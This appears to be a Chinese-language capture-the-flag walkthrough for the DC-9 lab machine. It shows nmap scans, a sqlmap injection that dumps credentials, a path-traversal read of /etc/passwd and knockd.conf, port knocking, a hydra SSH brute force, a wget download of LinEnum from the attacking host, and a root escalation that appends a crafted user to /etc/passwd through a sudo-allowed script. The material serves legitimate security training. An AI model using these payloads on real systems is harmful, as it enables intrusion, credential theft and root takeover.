一、实验环境:
真实机:windows10 靶机:DC9 攻击机:kali
二、信息收集
在kali里面使用nmap工具,扫描存活的网段,以此来找到靶机IP。命令:nmap -sP x.x.x.0-254
找到靶机IP,对靶机进行全面扫描,查看开放端口和服务信息。使用命令:nmap -A x.x.x.x
靶机开放了,80和22端口。先访问靶机IP,在真实机浏览器中打开地址,发现一个员工管理界面。查询指纹信息没有找到结果。前面通过对靶机的扫描知道靶机系统为Linux系统和apache的中间件。
靶机一共有四个菜单,分别查看,ALLRecords为所有员工信息,search为查询员工信息,Manage为登录界面。在search界面尝试使用命令执行漏洞,payload:1 | ifconfig 没有返回结果,继续尝试manage界面,尝试爆破管理员密码,这里也是跑了几万条数据没出来。emmm,回到search界面尝试sql注入,打开bp工具,给search值为1抓包,数据包复制到txt文件中,打开sqlmap去跑。
python3.exe sqlmap.py -r dc.txt
python3.exe sqlmap.py -r dc.txt -D -tables //查看当前数据库的所有表
python3.exe sqlmap.py -r dc.txt -D -T -columns //查看当前表里的字段
python3.exe sqlmap.py -r dc.txt -D -T -dump //获取所有字段的内容
第一个数据库没有有用信息,第二个数据库里有admin的密码,第三数据库里有一组用户和密码信息。
这里admin密码md5加密了,先解个密然后登录。 emmm登录进去就多了一个增加用户的功能,但对我们的帮助并不大
但页面底部有“file does not exist”说是文件不存在,猜测有文件包含漏洞,需要爆破一下参数名,因为是linux系统所以构造payload payload=x.x.x.x/welcom.php?fuzz=../../../../../etc/passwd 然后放到burpsuite里使用字典去测试,最后参数名为file
然后看到底下用户有很多发现一个janitor用户,我们之前使用sqlmap跑出来过,于是尝试ssh登录。但是登录失败,目标也是开启了22端口,后来查找资料了解到有个叫做端口敲门服务的
什么是端口敲门服务,大佬的解释是这样的:端口敲门服务是用来增加安全性的,比如你干了一票回到家,你关闭房门也就是端口,不想让别人进来,如果你想和同伙商量事情,就提前确定好暗号,暗号正确就可以进。这就是端口敲门服务(knockd)
所以我们去用文件包含漏洞去读取knockd配置文件,文件目录在/etc/knockd.conf
使用前需要在kali上下载该服务
apt-get install knockd
knock ip 口令
然后再尝试登录用户,因为这里用户比较多,可以使用hydra来去跑看看哪些用户可以登录。将用户和密码分别放到kali中然后使用命令:hydra -L user.txt -P passwd.txt ssh://ip
可以看到有三个用户可以正常登录,这里要记住用户名和密码的字典里不能有空格要不然会跑不出来。然后分别登录三个用户,发现janitor用户里面多了一个文件。
里面给了组密码,因该是上面没跑出来用户名的,把密码复制到passwd文件中,继续跑,结果多出一个用户fredf
然后登录进这个用户看看有啥特别。没啥特别的,那就提权把。我这里还是推荐工具linenum。
再kali中,开启http服务
python -m http,server 123
然后在靶机上使用wget命令下载下来linenum,给予linenum权限
wget http://ip:123/.linenum.sh
chmod 777 linenum.sh
.linenum.sh
然后看到说可以不需要密码执行sudo,也就是在那个目录下有root执行权限。
我的思路是写一个反弹shell打开/bin/bash,然后whoami,这种结果不行,该目录下不能写入文件。
于是看看该目录下的文件有没有给信息。cat查看发现乱码,于是去查找父目录,使用find命令
find / -name test,py
find / -name test.py 2>/dev/null
出来两个路径,查看里面的文件。
内容大概就是先读取第一个文件的内容,然后追加给第二个文件。
可以先创建一个普通用户,给密码加盐,
perl -le 'print crypt("pass""pass")'
echo hacker:加盐的密码:0:0:root:/root:/bin/bash >>/tmp/hacker
输出到/tmp下
然后再去有root执行权的目录下执行命令:
sudo ./test /tmp/hacker /etc/passwd
这样上面添加的密码就会放到/etc/passwd,从而就有了root权限。